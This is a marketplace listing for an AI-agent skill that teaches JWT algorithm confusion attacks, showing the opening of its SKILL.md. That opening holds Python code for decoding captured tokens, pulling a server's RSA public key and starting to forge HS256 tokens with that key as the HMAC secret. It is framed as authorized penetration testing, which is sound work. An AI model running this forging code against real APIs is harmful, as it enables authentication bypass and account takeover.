exploiting-jwt-algorithm-confusion-attack
Exploits JWT algorithm confusion vulnerabilities where the server's token verification library accepts the algorithm specified in the JWT header rather than…
Skill by 2003gdb
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/2003gdb-exploiting-jwt-algorithm-confusion-attack
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: backend, security
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/exploiting-jwt-algorithm-confusion-attack
What's inside
- Skill name
exploiting-jwt-algorithm-confusion-attack- Description
- Exploits JWT algorithm confusion vulnerabilities where the server's token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid/jku/x5u header injection to supply attacker-controlled keys. Activates for requests involving JWT algorithm confusion, alg none attack, key confusion attack, or JWT signature bypass.
- License
- Apache-2.0
- Instructions
- 439 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (1)
- SKILL.md
SKILL.md (first lines)
# Exploiting JWT Algorithm Confusion Attack
## When to Use
- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
- Assessing JWT implementations for alg:none bypass where the server skips signature verification
- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
- Validating that the API server enforces a specific algorithm and does not trust the JWT header
**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.
## Prerequisites
- Written authorization specifying the target API and JWT-based authentication in scope
- A valid JWT token from the target API (obtained through legitimate authentication)
- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries
- jwt_tool for automated JWT attack testing
- Burp Suite with JWT Editor extension
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
## Workflow
### Step 1: JWT Token Analysis
```python
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# Decode JWT parts
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
```
### Step 2: Obtain the Public Key
```python
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# Extract RSA public key from JWKS
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # First key
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")
```
### Step 3: Algorithm Confusion Attack (RS256 to HS256)
```python
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
If the server uses a generic verify() that trusts the alg header, it will use
the public key as the HMAC secret, matching our signature.
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify payload if requestedFrom 2003gdb/My-Claude-Workflows, Apache-2.0.
More from 2003gdb/My-Claude-Workflows
- 0.524score
auth-emulator-e2e
2003gdb
Use when setting up or debugging browser e2e tests (Playwright or similar) that authenticate through a local auth-provider emulator/stub — Firebase Auth…
SkillBFreshness: BClaude Code +9 - 0.474score
exploiting-broken-function-level-authorization
2003gdb
Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API…
SkillCFreshness: CClaude Code +9 - 0.474score
exploiting-api-injection-vulnerabilities
2003gdb
Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery…
SkillCFreshness: CClaude Code +9 - 0.474score
exploiting-excessive-data-exposure-in-api
2003gdb
Tests APIs for excessive data exposure where endpoints return more data than the client application needs, relying on the frontend to filter sensitive fields.
SkillCFreshness: CClaude Code +9 - 0.471score
exploiting-server-side-request-forgery
2003gdb
Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration…
SkillCFreshness: CClaude Code +9 - 0.471score
configuring-oauth2-authorization-flow
2003gdb
Configure secure OAuth 2.0 authorization flows including Authorization Code with PKCE, Client Credentials, and Device Authorization Grant.
SkillCFreshness: CClaude Code +9 - 0.471score
detecting-api-enumeration-attacks
2003gdb
Detect and prevent API enumeration attacks including BOLA and IDOR exploitation by monitoring sequential identifier access patterns and authorization failures.
SkillCFreshness: CClaude Code +9 - 0.471score
detecting-shadow-api-endpoints
2003gdb
Discover and inventory shadow API endpoints that operate outside documented specifications using traffic analysis, code scanning, and API discovery platforms.
SkillCFreshness: CClaude Code +9 - 0.471score
exploiting-mass-assignment-in-rest-apis
2003gdb
Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by…
SkillCFreshness: CClaude Code +9 - 0.471score
exploiting-http-request-smuggling
2003gdb
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and…
SkillCFreshness: CClaude Code +9 - 0.471score
exploiting-idor-vulnerabilities
2003gdb
Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API…
SkillCFreshness: CClaude Code +9 - 0.471score
exploiting-prototype-pollution-in-javascript
2003gdb
Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication…
SkillCFreshness: CClaude Code +9
Signals
- Stars
- 0
- Forks
- 0
- Open issues
- 0
- Last commit (this folder)
- May 16, 2026 (5 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/2003gdb/My-Claude-Workflows
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from 2003gdb
- 0.524score
auth-emulator-e2e
2003gdb
Use when setting up or debugging browser e2e tests (Playwright or similar) that authenticate through a local auth-provider emulator/stub — Firebase Auth…
SkillBFreshness: BClaude Code +9 - 0.474score
exploiting-excessive-data-exposure-in-api
2003gdb
Tests APIs for excessive data exposure where endpoints return more data than the client application needs, relying on the frontend to filter sensitive fields.
SkillCFreshness: CClaude Code +9 - 0.474score
exploiting-broken-function-level-authorization
2003gdb
Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API…
SkillCFreshness: CClaude Code +9 - 0.474score
exploiting-api-injection-vulnerabilities
2003gdb
Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery…
SkillCFreshness: CClaude Code +9 - 0.471score
exploiting-prototype-pollution-in-javascript
2003gdb
Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication…
SkillCFreshness: CClaude Code +9 - 0.471score
exploiting-idor-vulnerabilities
2003gdb
Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API…
SkillCFreshness: CClaude Code +9
Cite this page
exploiting-jwt-algorithm-confusion-attack skill. Agent Mart. https://agentmart.dev/skills/2003gdb-exploiting-jwt-algorithm-confusion-attack (last updated 2026-10-24)